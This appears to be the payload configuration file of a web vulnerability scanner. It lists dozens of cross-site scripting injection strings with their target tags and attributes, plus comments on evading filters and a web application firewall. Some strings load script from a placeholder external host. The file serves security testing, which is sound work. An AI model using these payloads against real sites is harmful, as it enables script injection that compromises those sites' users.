[DEFAULT]
payload = None
tag = None
value = None
attribute = None
match_type = exact
requirements = None
case_sensitive = yes
close_tag = yes
payload_type = pattern
injection_type = javascript

; Let's start with the most obvious XSS payloads
[case_script_alert_quote]
payload = <ScRiPt>alert('__XSS__')</sCrIpT>
tag = script
attribute = full_string
value = alert('__XSS__')
case_sensitive = yes

[case_script_alert_double_quote]
payload = <ScRiPt>alert("__XSS__")</sCrIpT>
tag = script
attribute = full_string
value = alert("__XSS__")
case_sensitive = yes

; Look mah! No [double|simple]quotes!
[case_script_alert_regex]
payload = <ScRiPt>alert(/__XSS__/)</sCrIpT>
tag = script
attribute = full_string
value = alert(/__XSS__/)
case_sensitive = yes

; Look mah! No whitespace! No script tags!
[svg_onload_alert_regex]
payload = <SvG/oNloAd=alert(/__XSS__/)>
tag = svg
attribute = onload
value = alert(/__XSS__/)
case_sensitive = yes

; Look mah! No whitespace! No script tags! No closing tag
[svg_onload_alert_regex_left_open]
payload = <SvG/oNloAd=alert(/__XSS__/)//
tag = svg
attribute = onload
value = alert(/__XSS__/)
case_sensitive = yes
match_type = starts_with

; Saw one case removing spaces and slashes
[svg_onload_alert_lf_no_slash]
payload = <SvG[LF]oNloAd=alert('__XSS__')>
tag = svg
attribute = onload
value = alert('__XSS__')
case_sensitive = yes

; I saw webpages cuttings words on uppercase letters so let's keep only the S uppercase
[script_absolute_src]
payload = <Script src=[EXTERNAL_ENDPOINT]__XSS__z.js></Script>
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = no

[script_protocol_src]
payload = <ScRiPt src=//[PROTO_ENDPOINT]__XSS__z.js></ScRiPt>
tag = script
attribute = src
value = //[PROTO_ENDPOINT]__XSS__z.js
case_sensitive = no

[script_alert_parentheses_regex]
payload = <ScRiPt>(alert)(/__XSS__/);</ScRiPt>
tag = script
attribute = full_string
value = (alert)(/__XSS__/);
case_sensitive = yes

; No slash :)
[img_onerror_alert_double_quote]
payload = <ImG src=z oNeRror=alert("__XSS__")>
tag = img
attribute = onerror
value = alert("__XSS__")
case_sensitive = yes

[img_onerror_alert_quote]
payload = <ImG src=z oNeRror=alert('__XSS__')>
tag = img
attribute = onerror
value = alert('__XSS__')
case_sensitive = yes

[img_onerror_alert_regex]
payload = <ImG src=z oNeRror=alert(/__XSS__/)>
tag = img
attribute = onerror
value = alert(/__XSS__/)
case_sensitive = yes

[video_onerror_alert]
payload = <video src=x oNeRror=alert(/__XSS__/)>
tag = video
attribute = onerror
value = alert(/__XSS__/)
case_sensitive = yes

[audio_onerror_alert]
payload = <audio src=x oNeRror=alert(/__XSS__/)>
tag = audio
attribute = onerror
value = alert(/__XSS__/)
case_sensitive = yes

[video_source_onerror_alert]
payload = <video><source oNeRror=alert(/__XSS__/)>
tag = source
attribute = onerror
value = alert(/__XSS__/)
case_sensitive = yes

[iframe_src_javascript]
payload = <iFrAme src="jAvasCript:alert(/__XSS__/);"></iframe>
tag = iframe
attribute = src
value = javascript:alert(/__XSS__/)
case_sensitive = yes

; data: URI bypasses are useful when javascript: is blocked but data: is not
[iframe_data_uri]
payload = <iframe src="data:text/html,<script>alert('__XSS__')</script>">
tag = iframe
attribute = src
value = data:text/html,<script>alert('__XSS__')</script>
case_sensitive = yes

[object_data_uri]
payload = <object data="data:text/html,<script>alert('__XSS__')</script>">
tag = object
attribute = data
value = data:text/html,<script>alert('__XSS__')</script>
case_sensitive = yes

[embed_data_uri]
payload = <embed src="data:text/html,<script>alert('__XSS__')</script>">
tag = embed
attribute = src
value = data:text/html,<script>alert('__XSS__')</script>
case_sensitive = yes

[details_ontoggle]
payload = <details open ontoggle=confirm(/__XSS__/)>
tag = details
attribute = ontoggle
value = confirm(/__XSS__/)
case_sensitive = yes

[body_onpageshow]
payload = <body/oNpagEshoW=(confirm)(/__XSS__/)>
tag = body
attribute = onpageshow
value = (confirm)(/__XSS__/)
case_sensitive = yes

[a_autofocus]
payload = <a[LF]autofocus[LF]onfocus='(function(){return window})()["alert"]("__XSS__")'[LF]href>
tag = a
attribute = onfocus
value = (function(){return window})()["alert"]("__XSS__")
case_sensitive = yes

; In a frameset, close the current frame then inject this one
[frame_src_javascript]
payload = <frame src="javascript:alert(/__XSS__/)"/>
tag = frame
attribute = src
value = javascript:alert(/__XSS__/)
case_sensitive = yes

; If we have control over the frame src attribute (at least beginning) just change the URL
[frames_src_inject]
payload = javascript:alert(/__XSS__/)//
tag = frame,iframe
attribute = src
value = javascript:alert(/__XSS__/)//
case_sensitive = yes
close_tag = no
match_type = starts_with

; If we have control over a script attribute that is not "src," try adding it
[js_src_inject]
payload = 42 src=[EXTERNAL_ENDPOINT]__XSS__z.js
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = yes
close_tag = no
match_type = starts_with

[marquee_onfinish]
payload = <marquee loop=1 width=0 onfinish=prompt(/__XSS__/)>
tag = marquee
attribute = onfinish
value = prompt(/__XSS__/)
case_sensitive = yes

[svg_animate]
payload = ><svg><animate onbegin=prompt(/__XSS__/) attributeName=u dur=1s>
tag = animate
attribute = onbegin
value = prompt(/__XSS__/)
case_sensitive = yes

; SVG foreignObject allows embedding HTML content including body with event handlers
[svg_foreignobject]
payload = <svg><foreignObject><body onload=alert(/__XSS__/)>
tag = body
attribute = onload
value = alert(/__XSS__/)
case_sensitive = yes


; Tricks
; Those are simple case sensitive bypass
[case_script_slash_absolute_src]
payload = <ScRiPt/src=[EXTERNAL_ENDPOINT]__XSS__z.js></sCrIpT/>
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = no


; Try injecting whitespaces...
[case_tab_script_absolute_src]
payload = <ScRiPt[TAB]src=[EXTERNAL_ENDPOINT]__XSS__z.js></sCrIpT>
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = no

[tab_img_onerror_alert]
payload = <ImG[TAB]src=z[TAB]oNeRror=alert(/__XSS__/)>
tag = img
attribute = onerror
value = alert(/__XSS__/)
case_sensitive = yes

[ff_script_alert_regex]
payload = 0[FF]<sCripT[FF]>alert(/__XSS__/)</sCripT[FF]>[FF]0
tag = script
attribute = full_string
value = alert(/__XSS__/)
case_sensitive = yes

[case_tab_script_alert]
payload = <ScRiPt[TAB]>alert(/__XSS__/)</sCrIpT[TAB]>
tag = script
attribute = full_string
value = alert(/__XSS__/)
case_sensitive = yes


; Bypass remove of tags
[script_tag_remove_alert_quote]
payload = <scr<script>ipt>(alert)(/__XSS__/)//</scr</script>ipt>
tag = script
attribute = full_string
value = alert(/__XSS__/)//
case_sensitive = yes
match_type = starts_with

[open_script_tag_remove_absolute_src]
payload = <scr<script>ipt src=[EXTERNAL_ENDPOINT]__XSS__z.js></script>
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = no

[script_tag_remove_absolute_src]
payload = <scr<script>ipt src=[EXTERNAL_ENDPOINT]__XSS__z.js></scr</script>ipt>
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = no

[cloudflare_bypass]
payload = <img src onerror=&emsp;prompt`${/__XSS__/}`>
tag = img
attribute = onerror
value = &emsp;prompt`${/__XSS__/}`
case_sensitive = yes

[script_comment]
payload = <sCrIpt><!--[LF]confirm(/__XSS__/)//--></sCrIpt>
tag = script
attribute = full_string
value = confirm(/__XSS__/)
case_sensitive = yes

[bypass_script_absolute_src]
payload = <Script e=">" src="[EXTERNAL_ENDPOINT]__XSS__z.js"></Script>
tag = script
attribute = src
value = [EXTERNAL_ENDPOINT]__XSS__z.js
case_sensitive = no

[img_onerror_bypass_some_removals]
payload = <img src=k onerror=prompt`__XSS__`>
tag = img
attribute = onerror
value = prompt`__XSS__`
case_sensitive = yes

; svg payload than can be mixed case + no parenthesis + no slash. Search for decoded payload because of parser behavior
[svg_onload_encoded_alert]
payload = <svg onload=&#x61&#x6C&#x65&#x72&#x74&#x28&#x27__XSS__&#x27&#x29>
tag = svg
attribute = onload
value = alert('__XSS__')
case_sensitive = no

; decimal HTML entities bypass filters that only detect hex entities or keyword strings
[img_onerror_decimal_entities]
payload = <img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;__XSS__&#39;&#41;>
tag = img
attribute = onerror
value = alert('__XSS__')
case_sensitive = no

; try to evade various rules
[input_autofocus]
payload = <input autofocus onfocus =top[(584390752*16).toString(32-1*2)](/__XSS___/)>
tag = input
attribute = onfocus
value = top[(584390752*16).toString(32-1*2)](/__XSS___/)
case_sensitive = yes

; String.fromCharCode avoids using alert/prompt/confirm keywords entirely
[script_fromcharcode]
payload = <ScRiPt>eval(String.fromCharCode(97,108,101,114,116,40,39,__XSS__,39,41))</ScRiPt>
tag = script
attribute = full_string
value = eval(String.fromCharCode(97,108,101,114,116,40,39,__XSS__,39,41))
case_sensitive = yes

; atob() decodes base64 at runtime, hiding the alert keyword from static analysis
[script_atob_eval]
payload = <ScRiPt>eval(atob('YWxlcnQoJ19fWFNTX18nKQ=='.replace('X19YU1NfXw','__XSS__')))</ScRiPt>
tag = script
attribute = full_string
value = eval(atob('YWxlcnQoJ19fWFNTX18nKQ=='.replace('X19YU1NfXw','__XSS__')))
case_sensitive = yes

[resource_onload_onerror_event]
payload = [ATTR_SEP]onload=[VALUE_SEP]alert(/__XSS__/)[ATTR_SEP]onerror=[VALUE_SEP]alert(/__XSS__/)
tag = img,image,svg,audio,video,style,iframe
attribute = onload
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no
requirements = src

; works in Firefox, requires valid media in src
[resource_onloadend_event]
payload = [ATTR_SEP]onloadend=[VALUE_SEP]window[`al`+`ert`] (`__XSS__`)[VALUE_SEP]nid=[VALUE_SEP]
tag = img,image,svg,audio,video,style,iframe
attribute = onloadend
value = window[`al`+`ert`] (`__XSS__`)
case_sensitive = yes
close_tag = no
requirements = src


[onfocus_autofocus_event]
payload = [ATTR_SEP]autofocus/onfocus=[VALUE_SEP]alert(/__XSS__/)
tag = iframe,button,select,textarea
attribute = onfocus
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no

[onfocus_autofocus_a]
payload = [ATTR_SEP]autofocus href onfocus=[VALUE_SEP]prompt(/__XSS__/)
tag = a
attribute = onfocus
value = prompt(/__XSS__/)
case_sensitive = yes
close_tag = no

[onfocus_autofocus_a_no_slash]
payload = [ATTR_SEP]autofocus href onfocus=[VALUE_SEP]((x)=>(confirm)(x))(`__XSS__`)
tag = a
attribute = onfocus
value = ((x)=>(confirm)(x))(`__XSS__`)
case_sensitive = yes
close_tag = no


[onfocus_autofocusin_a]
payload = [ATTR_SEP]autofocus href onfocusin=[VALUE_SEP]x=&#x27;al&#x27;;x+=&#x27;ert&#x27;;window[x](&#x27;__XSS__&#x27;)[VALUE_SEP]color=
tag = a
attribute = onfocusin
value = x='al';x+='ert';window[x]('__XSS__')
case_sensitive = yes
close_tag = no

[input_not_hidden_onfocus_autofocus_event]
payload = [ATTR_SEP]autofocus/onfocus=[VALUE_SEP]alert(/__XSS__/)
tag = input
attribute = onfocus
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no
requirements = type!=hidden

; Using LF may cause errors on perl script and old stuff, TAB should work
[input_not_hidden_onfocus_autofocus_event_no_slash]
payload = [ATTR_SEP]autofocus[TAB]onfocus=[VALUE_SEP]alert(`__XSS__`)
tag = input
attribute = onfocus
value = alert(`__XSS__`)
case_sensitive = yes
close_tag = no
requirements = type!=hidden

; tabindex is an alternative to autofocus when autofocus is filtered
[div_tabindex_onfocus]
payload = <div tabindex=0 onfocus=alert(/__XSS__/) id=x>
tag = div
attribute = onfocus
value = alert(/__XSS__/)
case_sensitive = yes

[tag_bigstyle_onmouseover_event]
payload = [ATTR_SEP]style=[VALUE_SEP]width:100%;height:100%;position:fixed;left:0px;top:0px;[ATTR_SEP]onmouseover=[VALUE_SEP]alert(/__XSS__/)
tag = a,body,div,h1,h2,h3,h4,h5,h6,header,hr,html,footer,nav,p,section,span,summary,button,form,label,legend,meter,option,select,textarea,abbr,acronym,address,blockquote,cite,code,frame,iframe,img,table,pre,tbody
attribute = onmouseover
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no
requirements = !style

[input_bigstyle_onmouseover_event]
payload = [ATTR_SEP]style=[VALUE_SEP]width:100%;height:100%;position:fixed;left:0px;top:0px;[ATTR_SEP]onmouseover=[VALUE_SEP]alert(/__XSS__/)
tag = input
attribute = onmouseover
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no
requirements = !style,type!=hidden

[link_stylesheet_onload_event]
payload = [ATTR_SEP]href onerRor=[VALUE_SEP]((prompt))`__XSS__`[VALUE_SEP]id=[VALUE_SEP]
tag = link
attribute = onerror
value = ((prompt))`__XSS__`
case_sensitive = yes
close_tag = no
requirements = rel=stylesheet

[tag_bigstyle_onpointerenter_event]
payload = [ATTR_SEP]style=[VALUE_SEP]width:100%;height:100%;position:fixed;left:0px;top:0px;[ATTR_SEP]onpointerenter=[VALUE_SEP]confirm`__XSS__`[VALUE_SEP]zid=[VALUE_SEP]
tag = a,body,div,h1,h2,h3,h4,h5,h6,header,hr,html,footer,nav,p,section,span,summary,button,form,label,legend,meter,option,select,textarea,abbr,acronym,address,blockquote,cite,code,frame,iframe,img,table,pre,tbody
attribute = onpointerenter
value = confirm`__XSS__`
case_sensitive = yes
close_tag = no
requirements = !style

; CSS animation/transition events are rarely filtered
[tag_style_onanimationend_event]
payload = [ATTR_SEP]style=[VALUE_SEP]animation-name:x;animation-duration:1s;[ATTR_SEP]onanimationend=[VALUE_SEP]alert(/__XSS__/)
tag = a,body,div,h1,h2,h3,h4,h5,h6,header,hr,html,footer,nav,p,section,span,summary,button,form,label,legend,meter,option,select,textarea,abbr,acronym,address,blockquote,cite,code,frame,iframe,img,table,pre,tbody
attribute = onanimationend
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no
requirements = !style

[tag_style_ontransitionend_event]
payload = [ATTR_SEP]style=[VALUE_SEP]transition:color 1s;color:red;[ATTR_SEP]ontransitionend=[VALUE_SEP]alert(/__XSS__/)
tag = a,body,div,h1,h2,h3,h4,h5,h6,header,hr,html,footer,nav,p,section,span,summary,button,form,label,legend,meter,option,select,textarea,abbr,acronym,address,blockquote,cite,code,frame,iframe,img,table,pre,tbody
attribute = ontransitionend
value = alert(/__XSS__/)
case_sensitive = yes
close_tag = no
requirements = !style

; form action with javascript: protocol triggers on submit
[form_action_javascript]
payload = <form action="javascript:alert('__XSS__')"><button>X</button></form>
tag = form
attribute = action
value = javascript:alert('__XSS__')
case_sensitive = yes


; No luck if we get here
[script_jsfuck_alert_1]
payload = <script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>
tag = script
attribute = full_string
value = [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
case_sensitive = no


[unknown_tag_and_event]
payload = <custom[LF]checked[LF]onpointerenter="x='pr',y=top;x+='ompt';y[x]('__XSS__')"style="position:absolute;top:0;height:2000px;background-color:red;width:2000px;left:0;z-index:9998;">XSS</custom[LF]tags>
tag = custom
attribute = onpointerenter
value = x='pr',y=top;x+='ompt';y[x]('__XSS__')
case_sensitive = yes

; Requires interaction
[a_href_inject]
payload = javascript:alert(/__XSS__/)//
tag = a
attribute = href
value = javascript:alert(/__XSS__/)//
case_sensitive = yes
close_tag = no
match_type = starts_with

; Fallback to HTML injection if nothing worked
[html_inject]
payload = <div id="__XSS__">yolo</div>
tag = div
attribute = id
value = __XSS__
case_sensitive = yes
injection_type = html